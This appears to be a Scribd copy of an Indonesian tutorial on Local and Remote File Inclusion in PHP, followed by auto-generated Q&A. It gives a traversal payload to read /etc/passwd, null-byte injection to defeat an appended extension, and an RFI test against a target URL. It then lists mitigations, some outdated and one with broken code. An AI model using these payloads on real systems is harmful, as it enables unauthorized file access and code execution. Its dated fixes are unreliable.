0% menganggap dokumen ini bermanfaat (0 suara)
16 tayangan3 halaman

Pencegahan LFI dan RFI pada Website

Dokumen tersebut memberikan penjelasan singkat tentang Local File Inclusion (LFI) dan Remote File Inclusion (RFI) sebagai dua jenis bug yang memungkinkan penyerang mengakses file di server target. Dokumen tersebut juga menjelaskan cara mendeteksi dan mencegah terjadinya LFI dan RFI dengan melakukan validasi variabel dan mengkonfigurasi pengaturan PHP seperti allow_url_include, allow_url_fopen, dan magic_quotes_gpc.

Diunggah oleh

Achmad Muzaqi
Hak Cipta
© Attribution Non-Commercial (BY-NC)
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai DOC, PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
16 tayangan3 halaman

Pencegahan LFI dan RFI pada Website

Dokumen tersebut memberikan penjelasan singkat tentang Local File Inclusion (LFI) dan Remote File Inclusion (RFI) sebagai dua jenis bug yang memungkinkan penyerang mengakses file di server target. Dokumen tersebut juga menjelaskan cara mendeteksi dan mencegah terjadinya LFI dan RFI dengan melakukan validasi variabel dan mengkonfigurasi pengaturan PHP seperti allow_url_include, allow_url_fopen, dan magic_quotes_gpc.

Diunggah oleh

Achmad Muzaqi
Hak Cipta
© Attribution Non-Commercial (BY-NC)
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai DOC, PDF, TXT atau baca online di Scribd

Bug RFI_LFI serta pencegahannya

--------------------------------------------------
Author : cr4wl3r
Email : cr4wl3r[at]linuxmail[dot]org
Website : [Link]
gorontalo underground
-------------------------------------------------

Gambaran singkat
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di ma
na attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker
meng-include-kan file dari luar server.

Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
include();
include_once();
require();
require_once();

Dengan syarat pada konfigurasi php di server:


allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off

contoh:
misalkan kita punya file [Link] dengan content kodenya seperti ini,

Code:
Code:
<?php
include "../$_GET[framefile]";
?>

misal $framefile=[Link]
mungkin di url akan terlihat seperti ini bentuknya
[Link]
maka script ini akan menampilkan halaman [Link].

nah disini attacker akan dapat melakukan LFI karena variable framefile di include begitu
saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan
mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu
tergantung dari kedalaman folder tempat file [Link] tersebut.. dengan begitu isi file
passwd akan ditampilkan di browser.
kita bisa menggunakan metode menebak struktur folder dalam website target ^^

tapi seandainya terdapat error seperti di bawah ini:

Warning: main(../../../../../../../../../etc/[Link]) [[Link]]: failed to open stream:


No such file or directory in /their/web/root/[Link] on line 2
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang
digunakan untuk include adalah seperti ini

Code:
Code:

<?php
include($_GET[framefile].".php");
?>

nah untuk dapat mengelabui script tersebut kita bisa menggunakan %00 (dengan syarat
magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan %00 seperti

[Link]

lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd.
* %00 ini disebut null injection.

Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI
dengan menambahkan link file remote (dari luar website) pada variable framefile.
misalnya:

[Link]

dengan file [Link] misal berisi "hacked by cr4wl3r"

jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner
terhadap bug RFI juga.

Pencegahan
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu
1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
allow_url_fopen = off
magic_quotes_gpc = on
3. pada include mungkin bisa ditambahkan "./"
jadinya seperti ini,

Code:
include("./"$_GET[framefile].".php");

maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya
akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah
./ di depannya.

[Link]

dengan seperti ini server atau website yang diinject akan mencari file
[Link] dan pastinya akan menyebabkan server menampilkan
error bahwa tidak ditemukannya file tsb.

Sekian
Mudah-mudahan artikel ini bisa menambah pengetahuan kita.

Common questions

Didukung oleh AI

To prevent LFI and RFI vulnerabilities, it is recommended to configure PHP settings as follows: set 'allow_url_include' to 'off', 'allow_url_fopen' to 'off', and 'magic_quotes_gpc' to 'on'. These settings restrict the ability to include remote and local files through URLs and add a layer of protection against unsanitized user input .

LFI (Local File Inclusion) allows an attacker to access files within the server by manipulating the URL to include files. In contrast, RFI (Remote File Inclusion) allows an attacker to include external files from outside the server, also by using URL manipulation .

The include function in PHP contributes to LFI and RFI vulnerabilities when user input is not properly validated. If a PHP script uses include statements like '<?php include "../$_GET[framefile]"; ?>' without sanitizing the 'framefile' parameter, it allows an attacker to exploit this by including local files (LFI) or external files from a remote server (RFI).

The use of '%00', known as null byte injection, is significant because it terminates the string, effectively removing any additional characters appended after the '%00'. This can be used to bypass PHP's automatic appending of file extensions, allowing an attacker to directly access non-PHP files like '/etc/passwd' without the '.php' extension being added .

Server-side configuration plays a crucial role in securing a website against file inclusion vulnerabilities by defining how scripts handle user inputs and what operations are permissible. Proper configurations, such as disabling 'allow_url_include' and 'allow_url_fopen', prevent inclusion of remote files, thereby limiting the attack surface for RFI, while activating 'magic_quotes_gpc' helps protect against malicious input exploitation .

At the application level, several steps can be taken to mitigate file inclusion vulnerabilities: validating and sanitizing all user inputs using functions like filter_var(); using a whitelist of allowable file names or paths rather than raw user input; employing libraries or functions that separate user input from application logic; and logging and monitoring access to detect attempts to exploit these vulnerabilities early .

User input validation is crucial to prevent file inclusion vulnerabilities because it ensures that any user-provided data adheres to expected formats and contents before it is processed. Without validation, attackers can supply crafted input that exploits inclusion paths to access unauthorized files, such as sensitive server files or malicious scripts from external locations .

Adding './' to the path when using the include function, such as 'include("./"$_GET[framefile].".php");', forces the script to only recognize files within the current directory. This measure is intended to prevent RFI by causing an error when attempting to include a file using a remote URL, as the './' appended path does not match any external server structure, thus mitigating RFI vulnerabilities .

Directory traversal attacks can be mitigated in PHP applications by implementing strict input validation, sanitizing paths to remove directory traversal patterns (e.g., '../'), using realpath() to resolve absolute paths and verify they exist within allowed locations, and configuring the PHP environment to limit access to specific directories using 'open_basedir' settings .

An attacker can exploit a site vulnerable to RFI by injecting a URL pointing to a malicious script. For instance, if the site script is 'http://www.[target].com/index.php?framefile=http://www.[remote].com/script.txt' and the site's configuration allows RFI, accessing this crafted URL would execute the external 'script.txt', potentially leading to unauthorized actions or data exposure, as proven by displaying content like "hacked by cr4wl3r" .

Anda mungkin juga menyukai